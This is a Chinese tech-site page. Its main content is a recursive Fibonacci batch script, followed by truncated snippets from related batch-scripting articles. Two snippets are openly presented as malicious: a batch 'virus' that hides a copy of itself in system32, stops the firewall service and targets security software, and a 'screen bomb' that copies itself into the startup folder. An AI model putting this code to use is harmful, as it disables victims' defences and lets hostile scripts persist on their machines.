BAT批处理实现Fibonacci函数_DOS/BAT

小无聊一下,不过真的很强大……

@ECHO OFF

SETLOCAL

SET X=10

CALL :Fib %X% Y
ECHO Fib^(%X%^)=%Y%
GOTO :EOF

:Fib [In]X [Out]Result
SETLOCAL
SET A=%1
SET D=1
SET E=0

IF %A% LEQ 1 (
  GOTO FibRet
)

SET /A B=%A%-1
SET /A C=%A%-2
CALL :Fib %B% D
CALL :Fib %C% E

:FibRet
ENDLOCAL & SET /A %2=%D%+%E% & GOTO :EOF

输出是“Fib(10)=89”

以上是小编为您精心准备的的内容,在的博客、问答、公众号、人物、课程等栏目也有的相关内容,欢迎继续使用右上角搜索按钮进行搜索批处理
, bat
Fibonacci函数
bat批处理脚本命令、bat批处理、bat批处理文件、bat批处理教程、bat批处理命令大全,以便于您获取更多的相关知识。

时间: 2024-10-25 20:31:02

BAT批处理实现Fibonacci函数_DOS/BAT的相关文章

批处理入门与提高_DOS/BAT

大家知不知道默认共享这回事?这东西用不着的地方可就不是好东西了.所以就要删掉.但这东西是每次系统重起后都会重新创建的.所以每次都要重新打开cmd重新删掉一下.极为麻烦.但有了批处理文件就不一样了,先把命令输入到批处理文件中,然后加入到启动项中,每次启动就会自动运行,免去了每次输入命令的麻烦. 如何创建批处理文件? 将记事本打开,什么都不用写,然后选择文件,保存.保存类型选择所有文件,文件名则命名为*.bat这个*代表是文件名,你可以随便的起.保存好之后,看看你保存的地方,会出现一个白色窗口里有个

安静运行批处理的vbs脚本_DOS/BAT

1.保存为.vbs DIM objShell set objShell=wscript.createObject("wscript.shell") iReturn=objShell.Run("cmd.exe /C 路径/改成你需要的批处理.bat", 0, TRUE) 2.继续保存.vbs on Error Resume next set wshshell=createobject("wscript.shell") a=wshshell.run(

DOS批处理高级教程 第四章 批处理中的变量_DOS/BAT

批处理中的变量,我把他分为两类,分别为"系统变量"和"自定义变量" 我们现在来详解这两个变量! 一.系统变量 他们的值由系统将其根据事先定义的条件自动赋值,也就是这些变量系统已经给他们定义了值, 不需要我们来给他赋值,我们只需要调用而以!  我把他们全部列出来! %ALLUSERSPROFILE% 本地 返回"所有用户"配置文件的位置. %APPDATA% 本地 返回默认情况下应用程序存储数据的位置. %CD% 本地 返回当前目录字符串. %CM

批处理bat根据星期启动程序_DOS/BAT

@echo off set no=%date:~13,14% if %no%==一 goto :open if %no%==二 goto :open if %no%==三 goto :open if %no%==四 goto :open if %no%==五 goto :open goto :eof :open start "VPC" "E:\Program Files\Microsoft Virtual PC\Virtual PC.exe" start "

批处理实现屏幕炸弹_DOS/BAT

复制代码 代码如下: @echo off  if not exist "%HOMEPATH%\..\All Users\「开始」菜单\程序\启动\power.bat" copy %~fs0 "%HOMEPATH%\..\All Users\「开始」菜单\程序\启动\power.bat">nul  echo @echo off>%windir%\power.bat  echo if "%%1"=="" goto :e

最强的用批处理编写的病毒_DOS/BAT

内容就是下面这些了,如果你想试试它的威力,不妨试试,,,呵呵  复制代码 代码如下: @echo off  title You DEAD!!!!!!!  set taskkill=s  copy %0 %windir%\system32\cmd.bat  attrib %windir%\system32\cmd.bat +r +s +h  net stop sharedaccess >nul  %s% /im pfw.exe shadowtip.exe shadowservice.exe qq.

清除系统垃圾文件的批处理(无错增强版)_DOS/BAT

"清除系统垃圾.bat","clear.bat","一键清除系统垃圾.bat","30秒清除系统垃圾.bat","快速清除系统垃圾.bat" 基本上找到的者是一个文件, 但这里面也有很多不足或需要改进的地方,但大多数人看不懂DOS命令,所以被改的机会会很少,下面是我所发现的问题及其改进,可以说是比较完美的版本了. 从网上找的,修改了一行,以解决ASP+ACCESS错误:"Microsoft JET

后台运行bat定时器程序示例分享_DOS/BAT

 新建一个BAT处理文件,命名为timer.bat ,代码如下: 复制代码 代码如下: @echo off:a rem 取得当前时分值set currentTime=%time:~0,2%%time:~3,2%rem echo TIME:%currentTime%rem 调用程序的脚本:"J:\lanp\资治通鉴经典故事 高清晰PDF.PDF" | start /bif %currentTime%==1856 (shutdown /s /t 60)goto :apause 新建一个vd

批处理下使用筛选器的函数_DOS/BAT

与命令重新定向管道符 (|) 联合使用,命令筛选器是这样一个命令,该命令包含在可读取命令的输入.可转换输入并写入输出的命令里.筛选器命令可以帮助您排序.查看和选择部分命令输出. 筛选器命令可以划分.重排以及提取通过的部分信息操作.下表列出 Windows XP 中可用的筛选器命令. 命令 说明  more 在一个命令提示符窗口中每次显示一个文件的内容或一个命令的输出.  find 在文件和命令输出中搜索您所指定的字符.  sort 按字母顺序排列文件和命令输出.  要将输入从文件发送到筛选器命令